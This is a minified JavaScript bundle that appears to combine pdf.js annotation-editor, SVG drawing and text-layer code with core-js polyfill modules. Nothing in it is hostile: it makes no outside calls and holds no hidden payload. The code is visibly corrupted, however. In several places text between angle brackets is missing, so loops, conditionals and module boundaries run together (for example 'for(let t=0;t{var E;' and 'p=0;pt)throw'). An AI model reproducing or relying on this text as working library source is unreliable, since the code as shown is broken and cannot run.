a(Tn,Va).values())n.remove(`${i._type}Editing`);this.disableTextSelection(),this.toggleAnnotationLayerPointerEvents(!0),e==null||e.updateFakeAnnotations(t),g(this,nc,!1)}getEditableAnnotation(e){var t;return((t=a(this,ja))==null?void 0:t.getEditableAnnotation(e))||null}setActiveEditor(e){a(this,et).getActive()!==e&&a(this,et).setActiveEditor(e)}enableTextSelection(){var e;if(this.div.tabIndex=-1,(e=a(this,Le))!=null&&e.div&&!a(this,gs)){g(this,gs,new AbortController);const t=a(this,et).combinedSignal(a(this,gs));a(this,Le).div.addEventListener("pointerdown",A(this,Wt,uw).bind(this),{signal:t}),a(this,Le).div.classList.add("highlighting")}}disableTextSelection(){var e;this.div.tabIndex=0,(e=a(this,Le))!=null&&e.div&&a(this,gs)&&(a(this,gs).abort(),g(this,gs,null),a(this,Le).div.classList.remove("highlighting"))}enableClick(){if(a(this,Ua))return;g(this,Ua,new AbortController);const e=a(this,et).combinedSignal(a(this,Ua));this.div.addEventListener("pointerdown",this.pointerdown.bind(this),{signal:e});const t=this.pointerup.bind(this);this.div.addEventListener("pointerup",t,{signal:e}),this.div.addEventListener("pointercancel",t,{signal:e})}disableClick(){var e;(e=a(this,Ua))==null||e.abort(),g(this,Ua,null)}attach(e){a(this,wn).set(e.id,e);const{annotationElementId:t}=e;t&&a(this,et).isDeletedAnnotationElement(t)&&a(this,et).removeDeletedAnnotationElement(e)}detach(e){var t;a(this,wn).delete(e.id),(t=a(this,Gl))==null||t.removePointerInTextLayer(e.contentDiv),!a(this,nc)&&e.annotationElementId&&a(this,et).addDeletedAnnotationElement(e)}remove(e){this.detach(e),a(this,et).removeEditor(e),e.div.remove(),e.isAttachedToDOM=!1}changeParent(e){var t;e.parent!==this&&(e.parent&&e.annotationElementId&&(a(this,et).addDeletedAnnotationElement(e),Gt.deleteAnnotationElement(e),e.annotationElementId=null),this.attach(e),(t=e.parent)==null||t.detach(e),e.setParent(this),e.div&&e.isAttachedToDOM&&(e.div.remove(),this.div.append(e.div)))}add(e){if(!(e.parent===this&&e.isAttachedToDOM)){if(this.changeParent(e),a(this,et).addEditor(e),this.attach(e),!e.isAttachedToDOM){const t=e.render();this.div.append(t),e.isAttachedToDOM=!0}e.fixAndSetPosition(),e.onceAdded(!a(this,rc)),a(this,et).addToAnnotationStorage(e),e._reportTelemetry(e.telemetryInitialData)}}moveEditorInDOM(e){var n;if(!e.isAttachedToDOM)return;const{activeElement:t}=document;e.div.contains(t)&&!a(this,fs)&&(e._focusEventsAllowed=!1,g(this,fs,setTimeout(()=>{g(this,fs,null),e.div.contains(document.activeElement)?e._focusEventsAllowed=!0:(e.div.addEventListener("focusin",()=>{e._focusEventsAllowed=!0},{once:!0,signal:a(this,et)._signal}),t.focus())},0))),e._structTreeParentId=(n=a(this,Gl))==null?void 0:n.moveElementInDOM(this.div,e.div,e.contentDiv,!0)}addOrRebuild(e){e.needsToBeRebuilt()?(e.parent||(e.parent=this),e.rebuild(),e.show()):this.add(e)}addUndoableEditor(e){const t=()=>e._uiManager.rebuild(e),n=()=>{e.remove()};this.addCommands({cmd:t,undo:n,mustExec:!1})}getEditorByUID(e){for(const t of a(this,wn).values())if(t.uid===e)return t;return null}combinedSignal(e){return a(this,et).combinedSignal(e)}canCreateNewEmptyEditor(){var e;return(e=a(this,Wt,Xr))==null?void 0:e.canCreateNewEmptyEditor()}async pasteEditor(e,t){this.updateToolbar(e),await a(this,et).updateMode(e.mode);const{offsetX:n,offsetY:r}=A(this,Wt,d0).call(this),i=a(this,et).getId(),s=A(this,Wt,c0).call(this,{parent:this,id:i,x:n,y:r,uiManager:a(this,et),isCentered:!0,...t});s&&this.add(s)}async deserialize(e){var t;return await((t=a(Tn,Va).get(e.annotationType??e.annotationEditorType))==null?void 0:t.deserialize(e,this,a(this,et)))||null}createAndAddNewEditor(e,t,n={}){const r=a(this,et).getId(),i=A(this,Wt,c0).call(this,{parent:this,id:r,x:e.offsetX,y:e.offsetY,uiManager:a(this,et),isCentered:t,...n});return i&&this.add(i),i}get boundingClientRect(){return this.div.getBoundingClientRect()}addNewEditor(e={}){this.createAndAddNewEditor(A(this,Wt,d0).call(this),!0,e)}setSelected(e){a(this,et).setSelected(e)}toggleSelected(e){a(this,et).toggleSelected(e)}unselect(e){a(this,et).unselect(e)}pointerup(e){var r;const{isMac:t}=be.platform;if(e.button!==0||e.ctrlKey&&t||e.target!==this.div||!a(this,$a)||(g(this,$a,!1),(r=a(this,Wt,Xr))!=null&&r.isDrawer&&a(this,Wt,Xr).supportMultipleDrawings))return;if(!a(this,ec)){g(this,ec,!0);return}const n=a(this,et).getMode();if(n===ct.STAMP||n===ct.POPUP||n===ct.SIGNATURE){a(this,et).unselectAll();return}this.createAndAddNewEditor(e,!1)}pointerdown(e){var r;if(a(this,et).getMode()===ct.HIGHLIGHT&&this.enableTextSelection(),a(this,$a)){g(this,$a,!1);return}const{isMac:t}=be.platform;if(e.button!==0||e.ctrlKey&&t||e.target!==this.div)return;if(g(this,$a,!0),(r=a(this,Wt,Xr))!=null&&r.isDrawer){this.startDrawingSession(e);return}const n=a(this,et).getActive();g(this,ec,!n||n.isEmpty())}startDrawingSession(e){if(this.div.focus({preventScroll:!0}),a(this,Br)){a(this,Wt,Xr).startDrawing(this,a(this,et),!1,e);return}a(this,et).setCurrentDrawingSession(this),g(this,Br,new AbortController);const t=a(this,et).combinedSignal(a(this,Br));this.div.addEventListener("blur",({relatedTarget:n})=>{n&&!this.div.contains(n)&&(g(this,ps,null),this.commitOrRemove())},{signal:t}),a(this,Wt,Xr).startDrawing(this,a(this,et),!1,e)}pause(e){if(e){const{activeElement:t}=document;this.div.contains(t)&&g(this,ps,t);return}a(this,ps)&&setTimeout(()=>{var t;(t=a(this,ps))==null||t.focus(),g(this,ps,null)},0)}endDrawingSession(e=!1){return a(this,Br)?(a(this,et).setCurrentDrawingSession(null),a(this,Br).abort(),g(this,Br,null),g(this,ps,null),a(this,Wt,Xr).endDrawing(e)):null}findNewParent(e,t,n){const r=a(this,et).findParent(t,n);return r===null||r===this?!1:(r.changeParent(e),!0)}commitOrRemove(){return a(this,Br)?(this.endDrawingSession(),!0):!1}onScaleChanging(){a(this,Br)&&a(this,Wt,Xr).onScaleChangingWhenDrawing(this)}destroy(){var e,t;this.commitOrRemove(),((e=a(this,et).getActive())==null?void 0:e.parent)===this&&(a(this,et).commitOrRemove(),a(this,et).setActiveEditor(null)),a(this,fs)&&(clearTimeout(a(this,fs)),g(this,fs,null));for(const n of a(this,wn).values())(t=a(this,Gl))==null||t.removePointerInTextLayer(n.contentDiv),n.setParent(null),n.isAttachedToDOM=!1,n.div.remove();this.div=null,a(this,wn).clear(),a(this,et).removeLayer(this)}async render({viewport:e}){this.viewport=e,hh(this.div,e);for(const t of a(this,et).getEditors(this.pageIndex))this.add(t),t.rebuild();await a(this,et).findClonesForPage(this),this.div.hidden=this.isEmpty,this.updateMode()}update({viewport:e}){a(this,et).commitOrRemove(),A(this,Wt,sm).call(this);const t=this.viewport.rotation,n=e.rotation;if(this.viewport=e,hh(this.div,{rotation:n}),t!==n)for(const r of a(this,wn).values())r.rotate(n)}get pageDimensions(){const{pageWidth:e,pageHeight:t}=this.viewport.rawDims;return[e,t]}get scale(){return a(this,et).viewParameters.realScale}},Gl=new WeakMap,ec=new WeakMap,ja=new WeakMap,Ua=new WeakMap,fs=new WeakMap,wn=new WeakMap,$a=new WeakMap,nc=new WeakMap,rc=new WeakMap,Br=new WeakMap,ps=new WeakMap,Le=new WeakMap,gs=new WeakMap,Ha=new WeakMap,ic=new WeakMap,et=new WeakMap,Va=new WeakMap,Wt=new WeakSet,u0=function(){return a(this,wn).size!==0?a(this,wn).values():a(this,et).getEditors(this.pageIndex)},uw=function(e){a(this,et).unselectAll();const{target:t}=e;if(t===a(this,Le).div||(t.getAttribute("role")==="img"||t.classList.contains("endOfContent")||t.classList.contains("textLayerImagePlaceholder"))&&a(this,Le).div.contains(t)){const{isMac:n}=be.platform;if(e.button!==0||e.ctrlKey&&n)return;a(this,et).showAllEditors("highlight",!0,!0),a(this,Le).div.classList.add("free"),this.toggleDrawing(),Pm.startHighlighting(this,a(this,et).direction==="ltr",{target:a(this,Le).div,x:e.x,y:e.y}),a(this,Le).div.addEventListener("pointerup",()=>{a(this,Le).div.classList.remove("free"),this.toggleDrawing(!0)},{once:!0,signal:a(this,et)._signal}),e.preventDefault()}},Xr=function(){return a(Tn,Va).get(a(this,et).getMode())},c0=function(e){const t=a(this,Wt,Xr);return t?new t.prototype.constructor(e):null},d0=function(){const{x:e,y:t,width:n,height:r}=this.boundingClientRect,i=Math.max(0,e),s=Math.max(0,t),o=Math.min(window.innerWidth,e+n),l=Math.min(window.innerHeight,t+r),u=(i+o)/2-e,c=(s+l)/2-t,[d,f]=this.viewport.rotation%180===0?[u,c]:[c,u];return{offsetX:d,offsetY:f}},sm=function(){for(const e of a(this,wn).values())e.isEmpty()&&e.remove()},M(Tn,"_initialized",!1),b(Tn,Va,new Map([Gy,e0,l0,Pm,o0].map(e=>[e._editorType,e]))),Tn);var kr,cn,Xl,he,dp,rv,cw,Ci,f0,dw,p0;let MC=(he=class{constructor(){b(this,Ci);b(this,kr,null);b(this,cn,new Map);b(this,Xl,new Map)}setParent(e){if(!a(this,kr)){g(this,kr,e);return}if(a(this,kr)!==e){if(a(this,cn).size>0)for(const t of a(this,cn).values())t.remove(),e.append(t);g(this,kr,e)}}static get _svgFactory(){return dt(this,"_svgFactory",new Cm)}draw(e,t=!1,n=!1){const r=ie(he,dp)._++,i=A(this,Ci,f0).call(this),s=he._svgFactory.createElement("defs");i.append(s);const o=he._svgFactory.createElement("path");s.append(o);const l=`path_${r}`;o.setAttribute("id",l),o.setAttribute("vector-effect","non-scaling-stroke"),t&&a(this,Xl).set(r,o);const u=n?A(this,Ci,dw).call(this,s,l):null,c=he._svgFactory.createElement("use");return i.append(c),c.setAttribute("href",`#${l}`),this.updateProperties(i,e),a(this,cn).set(r,i),{id:r,clipPathId:`url(#${u})`}}drawOutline(e,t){const n=ie(he,dp)._++,r=A(this,Ci,f0).call(this),i=he._svgFactory.createElement("defs");r.append(i);const s=he._svgFactory.createElement("path");i.append(s);const o=`path_${n}`;s.setAttribute("id",o),s.setAttribute("vector-effect","non-scaling-stroke");let l;if(t){const d=he._svgFactory.createElement("mask");i.append(d),l=`mask_${n}`,d.setAttribute("id",l),d.setAttribute("maskUnits","objectBoundingBox");const f=he._svgFactory.createElement("rect");d.append(f),f.setAttribute("width","1"),f.setAttribute("height","1"),f.setAttribute("fill","white");const p=he._svgFactory.createElement("use");d.append(p),p.setAttribute("href",`#${o}`),p.setAttribute("stroke","none"),p.setAttribute("fill","black"),p.setAttribute("fill-rule","nonzero"),p.classList.add("mask")}const u=he._svgFactory.createElement("use");r.append(u),u.setAttribute("href",`#${o}`),l&&u.setAttribute("mask",`url(#${l})`);const c=u.cloneNode();return r.append(c),u.classList.add("mainOutline"),c.classList.add("secondaryOutline"),this.updateProperties(r,e),a(this,cn).set(n,r),n}finalizeDraw(e,t){a(this,Xl).delete(e),this.updateProperties(e,t)}updateProperties(e,t){var l;if(!t)return;const{root:n,bbox:r,rootClass:i,path:s}=t,o=typeof e=="number"?a(this,cn).get(e):e;if(o){if(n&&A(this,Ci,p0).call(this,o,n),r&&A(l=he,rv,cw).call(l,o,r),i){const{classList:u}=o;for(const[c,d]of Object.entries(i))u.toggle(c,d)}if(s){const c=o.firstElementChild.firstElementChild;A(this,Ci,p0).call(this,c,s)}}}updateParent(e,t){if(t===this)return;const n=a(this,cn).get(e);n&&(a(t,kr).append(n),a(this,cn).delete(e),a(t,cn).set(e,n))}remove(e){a(this,Xl).delete(e),a(this,kr)!==null&&(a(this,cn).get(e).remove(),a(this,cn).delete(e))}destroy(){g(this,kr,null);for(const e of a(this,cn).values())e.remove();a(this,cn).clear(),a(this,Xl).clear()}},kr=new WeakMap,cn=new WeakMap,Xl=new WeakMap,dp=new WeakMap,rv=new WeakSet,cw=function(e,[t,n,r,i]){const{style:s}=e;s.top=`${100*n}%`,s.left=`${100*t}%`,s.width=`${100*r}%`,s.height=`${100*i}%`},Ci=new WeakSet,f0=function(){const e=he._svgFactory.create(1,1,!0);return a(this,kr).append(e),e.setAttribute("aria-hidden",!0),e},dw=function(e,t){const n=he._svgFactory.createElement("clipPath");e.append(n);const r=`clip_${t}`;n.setAttribute("id",r),n.setAttribute("clipPathUnits","objectBoundingBox");const i=he._svgFactory.createElement("use");return n.append(i),i.setAttribute("href",`#${t}`),i.classList.add("clip"),r},p0=function(e,t){for(const[n,r]of Object.entries(t))r===null?e.removeAttribute(n):e.setAttribute(n,r)},b(he,rv),b(he,dp,0),he);function gg(h){return`${(h*100).toFixed(2)}%`}var sc,fp,pp,ac,pi,gi,lo,gp,iv,fw;let LC=(lo=class{constructor(e,t,n,r){b(this,iv);b(this,sc,[]);b(this,fp,new Map);b(this,pp,null);b(this,ac,0);b(this,pi,0);b(this,gi,0);g(this,ac,e),g(this,sc,t),g(this,pi,n.rawDims.pageWidth),g(this,gi,n.rawDims.pageHeight),g(this,pp,r)}render(){const e=document.createElement("div");e.className="textLayerImages";for(let t=0;t{var E;if(!(t.target instanceof HTMLCanvasElement))return;const n=t.target,r=a(this,fp).get(n);if(!r)return;const i=(E=a(lo,gp))==null?void 0:E.deref();if(i===n)return;i&&(i.width=0,i.height=0),g(lo,gp,new WeakRef(n));const{inverseTransform:s,x1:o,y1:l,width:u,height:c}=r,d=a(this,pp).call(this),f=Math.ceil(o*d.width),p=Math.ceil(l*d.height),m=Math.floor((o+u/a(this,pi))*d.width),v=Math.floor((l+c/a(this,gi))*d.height);n.width=m-f,n.height=v-p;const y=n.getContext("2d");y.setTransform(...s),y.translate(-f,-p),y.drawImage(d,0,0)}),e}},sc=new WeakMap,fp=new WeakMap,pp=new WeakMap,ac=new WeakMap,pi=new WeakMap,gi=new WeakMap,gp=new WeakMap,iv=new WeakSet,fw=function([e,t,n,r,i,s]){const o=Math.hypot((i-e)*a(this,pi),(s-t)*a(this,gi)),l=Math.hypot((n-e)*a(this,pi),(r-t)*a(this,gi));if(o=D&&(!P||k))N=S(I,0,D);else{var H=P&&!k&&C?{maxByteLength:m(D,C(I))}:void 0;N=new f(D,H);for(var X=new p(I),j=new p(N),U=v(D,R),z=0;zp;)if(m=d[p++],m!==m)return!0}else for(;f>p;p++)if((o||p in d)&&d[p]===u)return o||p||0;return!o&&-1}};h.exports={includes:s(!0),indexOf:s(!1)}},4527(h,e,t){var n=t(3724),r=t(4376),i=TypeError,s=Object.getOwnPropertyDescriptor,o=n&&!function(){if(this!==void 0)return!0;try{Object.defineProperty([],"length",{writable:!1}).length=1}catch(l){return l instanceof TypeError}}();h.exports=o?function(l,u){if(r(l)&&!s(l,"length").writable)throw new i("Cannot set read only .length");return l.length=u}:function(l,u){return l.length=u}},7680(h,e,t){var n=t(9504);h.exports=n([].slice)},6319(h,e,t){var n=t(8551),r=t(9539);h.exports=function(i,s,o,l){try{return l?s(n(o)[0],o[1]):s(o)}catch(u){r(i,"throw",u)}}},2195(h,e,t){var n=t(9504),r=n({}.toString),i=n("".slice);h.exports=function(s){return i(r(s),8,-1)}},6955(h,e,t){var n=t(2140),r=t(4901),i=t(2195),s=t(8227),o=s("toStringTag"),l=Object,u=i(function(){return arguments}())==="Arguments",c=function(d,f){try{return d[f]}catch{}};h.exports=n?i:function(d){var f,p,m;return d===void 0?"Undefined":d===null?"Null":typeof(p=c(f=l(d),o))=="string"?p:u?i(f):(m=i(f))==="Object"&&r(f.callee)?"Arguments":m}},7740(h,e,t){var n=t(9297),r=t(5031),i=t(7347),s=t(4913);h.exports=function(o,l,u){for(var c=r(l),d=s.f,f=i.f,p=0;pt)throw new e("Maximum allowed index exceeded");return n}},8727(h){h.exports=["constructor","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","toLocaleString","toString","valueOf"]},6193(h,e,t){var n=t(4215);h.exports=n==="NODE"},2839(h,e,t){var n=t(4576),r=n.navigator,i=r&&r.userAgent;h.exports=i?String(i):""},9519(h,e,t){var n=t(4576),r=t(2839),i=n.process,s=n.Deno,o=i&&i.versions||s&&s.version,l=o&&o.v8,u,c;l&&(u=l.split("."),c=u[0]>0&&u[0]<4?1:+(u[0]+u[1])),!c&&r&&(u=r.match(/Edge\/(\d+)/),(!u||u[1]>=74)&&(u=r.match(/Chrome\/(\d+)/),u&&(c=+u[1]))),h.exports=c},4215(h,e,t){var n=t(4576),r=t(2839),i=t(2195),s=function(o){return r.slice(0,o.length)===o};h.exports=function(){return s("Bun/")?"BUN":s("Cloudflare-Workers")?"CLOUDFLARE":s("Deno/")?"DENO":s("Node.js/")?"NODE":n.Bun&&typeof Bun.version=="string"?"BUN":n.Deno&&typeof Deno.version=="object"?"DENO":i(n.process)==="process"?"NODE":n.window&&n.document?"BROWSER":"REST"}()},6518(h,e,t){var n=t(4576),r=t(7347).f,i=t(6699),s=t(6840),o=t(9433),l=t(7740),u=t(2796);h.exports=function(c,d){var f=c.target,p=c.global,m=c.stat,v,y,E,S,w,C;if(p?y=n:m?y=n[f]||o(f,{}):y=n[f]&&n[f].prototype,y)for(E in d){if(w=d[E],c.dontCallGetSet?(C=r(y,E),S=C&&C.value):S=y[E],v=u(p?E:f+(m?".":"#")+E,c.forced),!v&&S!==void 0){if(typeof w==typeof S)continue;l(w,S)}(c.sham||S&&S.sham)&&i(w,"sham",!0),s(y,E,w,c)}}},9039(h){h.exports=function(e){try{return!!e()}catch{return!0}}},8745(h,e,t){var n=t(616),r=Function.prototype,i=r.apply,s=r.call;h.exports=typeof Reflect=="object"&&Reflect.apply||(n?s.bind(i):function(){return s.apply(i,arguments)})},6080(h,e,t){var n=t(7476),r=t(9306),i=t(616),s=n(n.bind);h.exports=function(o,l){return r(o),l===void 0?o:i?s(o,l):function(){return o.apply(l,arguments)}}},616(h,e,t){var n=t(9039);h.exports=!n(function(){var r=(function(){}).bind();return typeof r!="function"||r.hasOwnProperty("prototype")})},9565(h,e,t){var n=t(616),r=Function.prototype.call;h.exports=n?r.bind(r):function(){return r.apply(r,arguments)}},350(h,e,t){var n=t(3724),r=t(9297),i=Function.prototype,s=n&&Object.getOwnPropertyDescriptor,o=r(i,"name"),l=o&&(function(){}).name==="something",u=o&&(!n||n&&s(i,"name").configurable);h.exports={EXISTS:o,PROPER:l,CONFIGURABLE:u}},6706(h,e,t){var n=t(9504),r=t(9306);h.exports=function(i,s,o){try{return n(r(Object.getOwnPropertyDescriptor(i,s)[o]))}catch{}}},7476(h,e,t){var n=t(2195),r=t(9504);h.exports=function(i){if(n(i)==="Function")return r(i)}},9504(h,e,t){var n=t(616),r=Function.prototype,i=r.call,s=n&&r.bind.bind(i,i);h.exports=n?s:function(o){return function(){return i.apply(o,arguments)}}},9429(h,e,t){var n=t(4576),r=t(6193);h.exports=function(i){if(r){try{return n.process.getBuiltinModule(i)}catch{}try{return Function('return require("'+i+'")')()}catch{}}}},7751(h,e,t){var n=t(4576),r=t(4901),i=function(s){return r(s)?s:void 0};h.exports=function(s,o){return arguments.length<2?i(n[s]):n[s]&&n[s][o]}},1767(h){h.exports=function(e){return{iterator:e,next:e.next,done:!1}}},851(h,e,t){var n=t(6955),r=t(5966),i=t(4117),s=t(6269),o=t(8227),l=o("iterator");h.exports=function(u){if(!i(u))return r(u,l)||r(u,"@@iterator")||s[n(u)]}},81(h,e,t){var n=t(9565),r=t(9306),i=t(8551),s=t(6823),o=t(851),l=TypeError;h.exports=function(u,c){var d=arguments.length<2?o(u):c;if(r(d))return i(n(d,u));throw new l(s(u)+" is not iterable")}},5966(h,e,t){var n=t(9306),r=t(4117);h.exports=function(i,s){var o=i[s];return r(o)?void 0:n(o)}},3789(h,e,t){var n=t(9306),r=t(8551),i=t(9565),s=t(1291),o=t(1767),l="Invalid size",u=RangeError,c=TypeError,d=Math.max,f=function(p,m){this.set=p,this.size=d(m,0),this.has=n(p.has),this.keys=n(p.keys)};f.prototype={getIterator:function(){return o(r(i(this.keys,this.set)))},includes:function(p){return i(this.has,this.set,p)}},h.exports=function(p){r(p);var m=+p.size;if(m!==m)throw new c(l);var v=s(m);if(v<0)throw new u(l);return new f(p,v)}},4576(h){var e=function(t){return t&&t.Math===Math&&t};h.exports=e(typeof globalThis=="object"&&globalThis)||e(typeof window=="object"&&window)||e(typeof self=="object"&&self)||e(typeof global=="object"&&global)||e(typeof this=="object"&&this)||function(){return this}()||Function("return this")()},9297(h,e,t){var n=t(9504),r=t(8981),i=n({}.hasOwnProperty);h.exports=Object.hasOwn||function(o,l){return i(r(o),l)}},421(h){h.exports={}},397(h,e,t){var n=t(7751);h.exports=n("document","documentElement")},5917(h,e,t){var n=t(3724),r=t(9039),i=t(4055);h.exports=!n&&!r(function(){return Object.defineProperty(i("div"),"a",{get:function(){return 7}}).a!==7})},7055(h,e,t){var n=t(9504),r=t(9039),i=t(2195),s=Object,o=n("".split);h.exports=r(function(){return!s("z").propertyIsEnumerable(0)})?function(l){return i(l)==="String"?o(l,""):s(l)}:s},3706(h,e,t){var n=t(9504),r=t(4901),i=t(7629),s=n(Function.toString);r(i.inspectSource)||(i.inspectSource=function(o){return s(o)}),h.exports=i.inspectSource},1181(h,e,t){var n=t(8622),r=t(4576),i=t(34),s=t(6699),o=t(9297),l=t(7629),u=t(6119),c=t(421),d="Object already initialized",f=r.TypeError,p=r.WeakMap,m,v,y,E=function(x){return y(x)?v(x):m(x,{})},S=function(x){return function(T){var I;if(!i(T)||(I=v(T)).type!==x)throw new f("Incompatible receiver, "+x+" required");return I}};if(n||l.state){var w=l.state||(l.state=new p);w.get=w.get,w.has=w.has,w.set=w.set,m=function(x,T){if(w.has(x))throw new f(d);return T.facade=x,w.set(x,T),T},v=function(x){return w.get(x)||{}},y=function(x){return w.has(x)}}else{var C=u("state");c[C]=!0,m=function(x,T){if(o(x,C))throw new f(d);return T.facade=x,s(x,C,T),T},v=function(x){return o(x,C)?x[C]:{}},y=function(x){return o(x,C)}}h.exports={set:m,get:v,has:y,enforce:E,getterFor:S}},4209(h,e,t){var n=t(8227),r=t(6269),i=n("iterator"),s=Array.prototype;h.exports=function(o){return o!==void 0&&(r.Array===o||s[i]===o)}},4376(h,e,t){var n=t(2195);h.exports=Array.isArray||function(i){return n(i)==="Array"}},1108(h,e,t){var n=t(6955);h.exports=function(r){var i=n(r);return i==="BigInt64Array"||i==="BigUint64Array"}},4901(h){var e=typeof document=="object"&&document.all;h.exports=typeof e>"u"&&e!==void 0?function(t){return typeof t=="function"||t===e}:function(t){return typeof t=="function"}},2796(h,e,t){var n=t(9039),r=t(4901),i=/#|\.prototype\./,s=function(d,f){var p=l[o(d)];return p===c?!0:p===u?!1:r(f)?n(f):!!f},o=s.normalize=function(d){return String(d).replace(i,".").toLowerCase()},l=s.data={},u=s.NATIVE="N",c=s.POLYFILL="P";h.exports=s},4117(h){h.exports=function(e){return e==null}},34(h,e,t){var n=t(4901);h.exports=function(r){return typeof r=="object"?r!==null:n(r)}},3925(h,e,t){var n=t(34);h.exports=function(r){return n(r)||r===null}},6395(h){h.exports=!1},5810(h,e,t){var n=t(34),r=t(1181).get;h.exports=function(s){if(!n(s))return!1;var o=r(s);return!!o&&o.type==="RawJSON"}},757(h,e,t){var n=t(7751),r=t(4901),i=t(1625),s=t(7040),o=Object;h.exports=s?function(l){return typeof l=="symbol"}:function(l){var u=n("Symbol");return r(u)&&i(u.prototype,o(l))}},507(h,e,t){var n=t(9565);h.exports=function(r,i,s){for(var o=s?r:r.iterator,l=r.next,u,c;!(u=n(l,o)).done;)if(c=i(u.value),c!==void 0)return c}},2652(h,e,t){var n=t(6080),r=t(9565),i=t(8551),s=t(6823),o=t(4209),l=t(6198),u=t(1625),c=t(81),d=t(851),f=t(9539),p=TypeError,m=function(y,E){this.stopped=y,this.result=E},v=m.prototype;h.exports=function(y,E,S){var w=S&&S.that,C=!!(S&&S.AS_ENTRIES),x=!!(S&&S.IS_RECORD),T=!!(S&&S.IS_ITERATOR),I=!!(S&&S.INTERRUPTED),F=n(E,w),P,R,D,k,N,H,X,j=function(G){var nt=P;return P=void 0,nt&&f(nt,"normal"),new m(!0,G)},U=function(G){return C?(i(G),I?F(G[0],G[1],j):F(G[0],G[1])):I?F(G,j):F(G)};if(x)P=y.iterator;else if(T)P=y;else{if(R=d(y),!R)throw new p(s(y)+" is not iterable");if(o(R)){for(D=0,k=l(y);k>D;D++)if(N=U(y[D]),N&&u(v,N))return N;return new m(!1)}P=c(y,R)}for(H=x?y.next:P.next;!(X=r(H,P)).done;){var z=X.value;try{N=U(z)}catch(G){if(P)f(P,"throw",G);else throw G}if(typeof N=="object"&&N&&u(v,N))return N}return new m(!1)}},1385(h,e,t){var n=t(9539);h.exports=function(r,i,s){for(var o=r.length-1;o>=0;o--)if(r[o]!==void 0)try{s=n(r[o].iterator,i,s)}catch(l){i="throw",s=l}if(i==="throw")throw s;return s}},9539(h,e,t){var n=t(9565),r=t(8551),i=t(5966);h.exports=function(s,o,l){var u,c;r(s);try{if(u=i(s,"return"),!u){if(o==="throw")throw l;return l}u=n(u,s)}catch(d){c=!0,u=d}if(o==="throw")throw l;if(c)throw u;return r(u),l}},9462(h,e,t){var n=t(9565),r=t(2360),i=t(6699),s=t(6279),o=t(8227),l=t(1181),u=t(5966),c=t(7657).IteratorPrototype,d=t(2529),f=t(9539),p=t(1385),m=o("toStringTag"),v="IteratorHelper",y="WrapForValidIterator",E="normal",S="throw",w=l.set,C=function(I){var F=l.getterFor(I?y:v);return s(r(c),{next:function(){var R=F(this);if(I)return R.nextHandler();if(R.done)return d(void 0,!0);try{var D=R.nextHandler();return R.returnHandlerResult?D:d(D,R.done)}catch(k){throw R.done=!0,k}},return:function(){var P=F(this),R=P.iterator,D=P.done;if(P.done=!0,I){var k=u(R,"return");return k?n(k,R):d(void 0,!0)}if(D)return d(void 0,!0);if(P.inner)try{f(P.inner.iterator,E)}catch(N){return f(R,S,N)}if(P.openIters)try{p(P.openIters,E)}catch(N){if(R)return f(R,S,N);throw N}return R&&f(R,E),d(void 0,!0)}})},x=C(!0),T=C(!1);i(T,m,"Iterator Helper"),h.exports=function(I,F,P){var R=function(k,N){N?(N.iterator=k.iterator,N.next=k.next):N=k,N.type=F?y:v,N.returnHandlerResult=!!P,N.nextHandler=I,N.counter=0,N.done=!1,w(this,N)};return R.prototype=F?x:T,R}},684(h){h.exports=function(e,t){var n=typeof Iterator=="function"&&Iterator.prototype[e];if(n)try{n.call({next:null},t).next()}catch{return!0}}},4549(h,e,t){var n=t(4576);h.exports=function(r,i){var s=n.Iterator,o=s&&s.prototype,l=o&&o[r],u=!1;if(l)try{l.call({next:function(){return{done:!0}},return:function(){u=!0}},-1)}catch(c){c instanceof i||(u=!1)}if(!u)return l}},7657(h,e,t){var n=t(9039),r=t(4901),i=t(34),s=t(2360),o=t(2787),l=t(6840),u=t(8227),c=t(6395),d=u("iterator"),f=!1,p,m,v;[].keys&&(v=[].keys(),"next"in v?(m=o(o(v)),m!==Object.prototype&&(p=m)):f=!0);var y=!i(p)||n(function(){var E={};return p[d].call(E)!==E});y?p={}:c&&(p=s(p)),r(p[d])||l(p,d,function(){return this}),h.exports={IteratorPrototype:p,BUGGY_SAFARI_ITERATORS:f}},6269(h){h.exports={}},6198(h,e,t){var n=t(8014);h.exports=function(r){return n(r.length)}},283(h,e,t){var n=t(9504),r=t(9039),i=t(4901),s=t(9297),o=t(3724),l=t(350).CONFIGURABLE,u=t(3706),c=t(1181),d=c.enforce,f=c.get,p=String,m=Object.defineProperty,v=n("".slice),y=n("".replace),E=n([].join),S=o&&!r(function(){return m(function(){},"length",{value:8}).length!==8}),w=String(String).split("String"),C=h.exports=function(x,T,I){v(p(T),0,7)==="Symbol("&&(T="["+y(p(T),/^Symbol\(([^)]*)\).*$/,"$1")+"]"),I&&I.getter&&(T="get "+T),I&&I.setter&&(T="set "+T),(!s(x,"name")||l&&x.name!==T)&&(o?m(x,"name",{value:T,configurable:!0}):x.name=T),S&&I&&s(I,"arity")&&x.length!==I.arity&&m(x,"length",{value:I.arity});try{I&&s(I,"constructor")&&I.constructor?o&&m(x,"prototype",{writable:!1}):x.prototype&&(x.prototype=void 0)}catch{}var F=d(x);return s(F,"source")||(F.source=E(w,typeof T=="string"?T:"")),x};Function.prototype.toString=C(function(){return i(this)&&f(this).source||u(this)},"toString")},2248(h,e,t){var n=t(9504),r=Map.prototype;h.exports={Map,set:n(r.set),get:n(r.get),has:n(r.has),remove:n(r.delete),proto:r}},741(h){var e=Math.ceil,t=Math.floor;h.exports=Math.trunc||function(r){var i=+r;return(i>0?t:e)(i)}},7819(h,e,t){var n=t(9039);h.exports=!n(function(){var r="9007199254740993",i=JSON.rawJSON(r);return!JSON.isRawJSON(i)||JSON.stringify(i)!==r})},6043(h,e,t){var n=t(9306),r=TypeError,i=function(s){var o,l;this.promise=new s(function(u,c){if(o!==void 0||l!==void 0)throw new r("Bad Promise constructor");o=u,l=c}),this.resolve=n(o),this.reject=n(l)};h.exports.f=function(s){return new i(s)}},2360(h,e,t){var n=t(8551),r=t(6801),i=t(8727),s=t(421),o=t(397),l=t(4055),u=t(6119),c=">",d="<",f="prototype",p="script",m=u("IE_PROTO"),v=function(){},y=function(x){return d+p+c+x+d+"/"+p+c},E=function(x){x.write(y("")),x.close();var T=x.parentWindow.Object;return x=null,T},S=function(){var x=l("iframe"),T="java"+p+":",I;return x.style.display="none",o.appendChild(x),x.src=String(T),I=x.contentWindow.document,I.open(),I.write(y("document.F=Object")),I.close(),I.F},w,C=function(){try{w=new ActiveXObject("htmlfile")}catch{}C=typeof document<"u"?document.domain&&w?E(w):S():E(w);for(var 